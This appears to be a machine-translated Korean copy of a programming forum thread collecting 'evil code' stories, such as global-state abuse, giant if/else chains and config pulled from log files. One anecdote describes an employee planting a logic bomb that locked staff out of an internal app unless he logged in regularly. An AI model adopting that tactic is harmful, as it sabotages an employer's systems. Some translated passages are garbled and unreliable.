일부 로그를 확인하면서이 사실을 발견했습니다. CEO에게 비밀번호를 보내고 싶었습니다.
이 화려한 델파이 코드는 정말 악했습니다.
type
TMyClass = class
private
FField : Integer;
public
procedure DoSomething;
end;
var
myclass : TMyClass;
procedure TMyClass.DoSomething;
begin
myclass.FField := xxx; //
end;
클래스의 인스턴스가 하나만 있으면 훌륭하게 작동했습니다. 하지만 불행히도 다른 인스턴스를 사용해야했고 이로 인해 많은 흥미로운 버그가 발생했습니다.
이 보석을 발견했을 때, 내가 기절했는지, 비명을 지르는 지 기억이 나지 않습니다.
악은 아니지만 확실히 음 ...
한 번은 단일 5,000 줄 if ... then 문으로 구현 된 "자연어 파서"를 다시 작성해야했습니다.
에서와 같이 ...
if (text == "hello" || text == "hi")
response = "hello";
else if (text == "goodbye")
response = "bye";
else
...
문서를 수행 <a>
하는 자바 스크립트 메서드를 호출 하는 태그 에 클라이언트 측 클릭 이벤트를 멈춘 이전에 웹 양식 만 수행 한 적이있는 (유명한 카피 / 패스 터입니다!) 한 사람의 ASP.NET MVC 사이트에서 코드를 보았습니다 . 위치.
나는 것을 설명하려고 href
온 <a>
태그가 같은 행동을 할 것입니다!
약간 사악한 ... 내가 아는 누군가가 회사 내부의 주요 웹 앱에 글을 썼는데, 그가 지난 10 일 동안 시스템에 로그인했는지 매일 확인했습니다. 로그인 한 기록이 없으면 회사의 모든 사람이 앱을 사용할 수 없게됩니다.
그는 정리 해고에 대한 소문을 들었을 때이 작품을 썼고 만약 그가 무너진다면 회사는 고통을 겪을 것입니다.
내가 아는 유일한 이유는 그가 2 주간의 휴가를 갔고 사이트가 엉망이되었을 때 전화를했기 때문입니다. 그는 자신의 사용자 이름 / 비밀번호로 로그온하라고했고 ... 다시 괜찮 았습니다.
물론 .. 몇 달 후 우리 모두 해고당했습니다.
제 동료는 public static
모든 데이터베이스 작업에 데이터베이스 연결을 사용한 ASP.NET 응용 프로그램을 기억하고 싶습니다 .
예, 모든 요청에 대해 하나의 연결입니다. 그리고 아니, 잠금도 수행되지 않았습니다.
Perl CGI 스크립트를 실행하기 위해 IIS 3을 설정해야했던 기억이납니다 (예, 그건 오래전 일이었습니다). 당시 공식적인 권고는 Perl.exe를 cgi-bin에 넣는 것이 었습니다. 효과가 있었지만 모두에게 매우 강력한 스크립팅 엔진에 대한 액세스 권한을 부여했습니다 !
악의적 인 비트 를 설정하는 모든 RFC 3514 호환 프로그램 .
SQL 쿼리는 ASP 응용 프로그램의 자바 스크립트에서 바로 거기에 있습니다. 더러워 질 수 없어 ...
우리는 xml 파일에 모든 글로벌 상태를로드하는 애플리케이션이있었습니다. 개발자가 새로운 형태의 재귀를 만들었다는 점을 제외하고는 문제 없습니다.
<settings>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
그런 다음 재미있는 부분이 있습니다. 응용 프로그램이로드되면 속성 목록을 통해 실행되고 미스터리 카운터를 증가시키면서 전역 (플랫) 목록에 추가합니다. 미스터리 카운터는 전혀 관련이없는 이름으로 명명되며 미스터리 계산에 사용됩니다.
List properties = new List();
Node<-root
while node.hasNode("property")
add to properties list
my_global_variable++;
if hasNode("property")
node=getNode("property"), ... etc etc
그리고 다음과 같은 기능을 얻습니다.
calculateSumOfCombinations(int x, int y){
return x+y+my_global_variable;
}
편집 : 설명-그가 재귀의 깊이를 세고 있다는 것을 알아내는 데 오랜 시간이 걸렸습니다. 레벨 6 또는 7에서 속성이 의미를 변경했기 때문에 카운터를 사용하여 플랫 세트를 2 세트의 다른 유형으로 분할했습니다. , STATE, STATE, STATE, CITY, CITY, CITY 목록을 가지고 색인> 카운터가 있는지 확인하여 이름이 도시 또는 주인지 확인하는 것과 같습니다.)
지속적으로 실행해야하는 서버 프로세스 용 Windows 서비스를 작성하는 대신 "아키텍트"중 한 명이 콘솔 앱을 작성하고 작업 스케줄러를 사용하여 60 초마다 실행했습니다.
이것은 서비스를 만들기가 매우 쉬운 .NET에 있음을 명심하십시오.
-
또한 같은 장소에서 콘솔 앱이 .NET 원격 서비스를 호스팅하는 데 사용되었으므로 서버가 재부팅 될 때마다 계속 실행되도록 콘솔 앱을 시작하고 세션을 잠 가야했습니다.
-
마지막으로 작업 한 건축가 중 한 명이 250K 크기의 100 개 이상의 클래스 가 포함 된 단일 C # 소스 코드 파일을 가지고있었습니다.
각각 10K 라인 이상의 코드가있는 32 개의 소스 코드 파일. 각각 하나의 클래스를 포함했습니다. 각 클래스에는 "모든 작업"을 수행하는 하나의 메서드가 포함되었습니다.
리팩토링을하기 전에 코드를 디버깅하는 것은 정말 악몽이었습니다.
초기 직장에서 우리는 이전에 부분적으로 추월되었던 기존 프로젝트를 물려 받았습니다. 메인 앱은 자바 였고, 아웃소싱 된 부분은 네이티브 C 라이브러리였습니다. 일단 C 소스 파일을 살펴 보았습니다. 디렉토리의 내용을 나열했습니다. 크기가 200K가 넘는 여러 소스 파일이 있습니다. 가장 큰 C 파일은 600KB 였습니다.
실제로 그들을 만질 필요가 없었던 신에게 감사합니다 :-)
동료들이 고객에게 해외에있는 동안 (해당 프로그램을 설치하는 동안) 발전 할 일련의 프로그램을 받았습니다. 모든 프로그램에 하나의 키 라이브러리가 등장했고 코드를 알아 내려고 노력하면서 프로그램마다 작은 차이가 있다는 것을 깨달았습니다. 공용 도서관에서.
이를 깨닫고 모든 사본의 텍스트 비교를 실행했습니다. 16 개 중 9 개 정도가 독특한 것 같아요. 나는 약간의 핏을 던졌다.
상사가 개입하여 동료들에게 보편적 인 버전을 대조하도록했습니다. 그들은 이메일로 코드를 보냈습니다. 나에게 알려지지 않은, 거기에 인쇄 할 수없는 문자가있는 문자열과 일부 혼합 인코딩이있었습니다. 이메일이 꽤 나빴습니다.
인쇄 할 수없는 문자는 서버에서 클라이언트로 데이터 (모든 문자열!)를 보내는 데 사용되었습니다. 따라서 모든 문자열은 서버 측에서 0x03 문자로 분리되었으며 Split 함수를 사용하여 C #에서 클라이언트 측을 다시 어셈블했습니다.
somwehat 건전한 방법은 다음과 같을 것입니다.
someVariable.Split(Convert.ToChar(0x03);
더 건전하고 친근한 방법은 상수를 사용하는 것입니다.
private const char StringSeparator = (char)0x03;
//...
someVariable.Split(StringSeparator);
EVIL 방식은 제 동료들이 선택한 것입니다. Visual Studio에서 0x03의 "인쇄물"을 사용하고 따옴표 사이에 넣습니다.
someVariable.Split('/*unprintable character*/');
또한이 라이브러리 (및 모든 관련 프로그램)에서는 단일 변수가 로컬이 아닙니다 (확인했습니다!). 함수는 동일한 변수를 낭비해도 안전하다고 판단되면 동일한 변수를 회복하거나 프로세스의 모든 기간 동안 지속될 새로운 변수를 생성하도록 설계되었습니다. 여러 페이지를 인쇄하고 색으로 구분했습니다. 노란색은 "전역, 다른 기능에 의해 변경되지 않음"을 의미하고, 빨간색은 "전역, 여러 기능에 의해 변경됨"을 의미합니다. 녹색은 "지역적"이었을 것이지만 아무것도 없었습니다.
아, 내가 컨트롤 버전을 언급 했나요? 물론 없었기 때문입니다.
ADD ON : 얼마 전에 발견 한 기능을 기억했습니다.
그 목적은 interger 배열의 배열을 살펴보고 각각의 첫 번째 항목과 마지막 항목을 0으로 설정하는 것이 었습니다. 다음과 같이 진행되었습니다 (실제 코드가 아니라 메모리에서, 그리고 더 많은 C # -esque).
FixAllArrays()
{
for (int idx = 0; idx < arrays.count- 1; idx++)
{
currArray = arrays[idx];
nextArray = arrays[idx+1];
SetFirstToZero(currArray);
SetLastToZero(nextArray);
//This is where the fun starts
if (idx == 0)
{
SetLastToZero(currArray);
}
if (idx == arrays.count- 1)
{
SetFirstToZero(nextArray);
}
}
}
Of course, the point was that every sub-array had to get this done, both operations, on all items. I'm just not sure how a programmer can decide on something like this.
Similar to what someone else mentioned above:
I worked in a place that had a pseudo-scripting language in the application. It fed into a massive method that had some 30 parameters and a giant Select Case
statement.
It was time to add more parameters, but the guy on the team who had to do it realized that there were too many already.
His solution?
He added a single object
parameter on the end, so he could pass in anything he wanted and then cast it.
I couldn't get out of that place fast enough.
Once after our client teams reported some weird problems, we noticed that two different versions of the application was pointing to the same database. (while deploying the new system to them, their database was upgraded, but everyone forgot to bring down their old system)
This was a miracle escape..
And since then, we have an automated build and deploy process, thankfully :-)
I think that it was a program which loaded a loop into the general purpose registers of a pdp-10 and then executed the code in those registers.
You could do that on a pdp-10. That doesn't mean that you should.
EDIT: at least this is to the best of my (sometimes quite shabby) recollection.
I had the deep misfortune of being involved in finding a rather insane behavior in a semi-custom database high-availability solution.
The core bits were unremarkable. Red Hat Enterprise Linux, MySQL, DRBD, and the Linux-HA stuff. The configuration, however, was maintained by a completely custom puppet-like system (unsurprisingly, there are many other examples of insanity resulting from this system).
It turns out that the system was checking the install.log
file that Kickstart leaves in the root directory for part of the information it needed to create the DRBD configuration. This in itself is evil, of course. You don't pull configuration from a log file whose format is not actually defined. It gets worse, though.
It didn't store this data anywhere else, and every time it ran, which was every 60 seconds, it consulted install.log
.
I'll just let you guess what happened the first time somebody decided to delete this otherwise useless log file.
'code' 카테고리의 다른 글
Android Studio v 1.1 / 1.2의 렌더링 문제 (0) | 2020.10.15 |
---|---|
Android Studio에서 서명 된 APK의 키 별칭 및 키 비밀번호를 검색하는 방법 (Eclipse에서 마이그레이션 됨) (0) | 2020.10.15 |
Code Golf : Excel 열 이름에 해당하는 숫자 (0) | 2020.10.15 |
dequeueBuffer : 버퍼 수를 설정하지 않고 여러 버퍼를 대기열에서 빼낼 수 없습니다. (0) | 2020.10.15 |
SWIG의 새로운 내장 기능과 함께 pythonappend를 사용하는 방법이 있습니까? (0) | 2020.10.15 |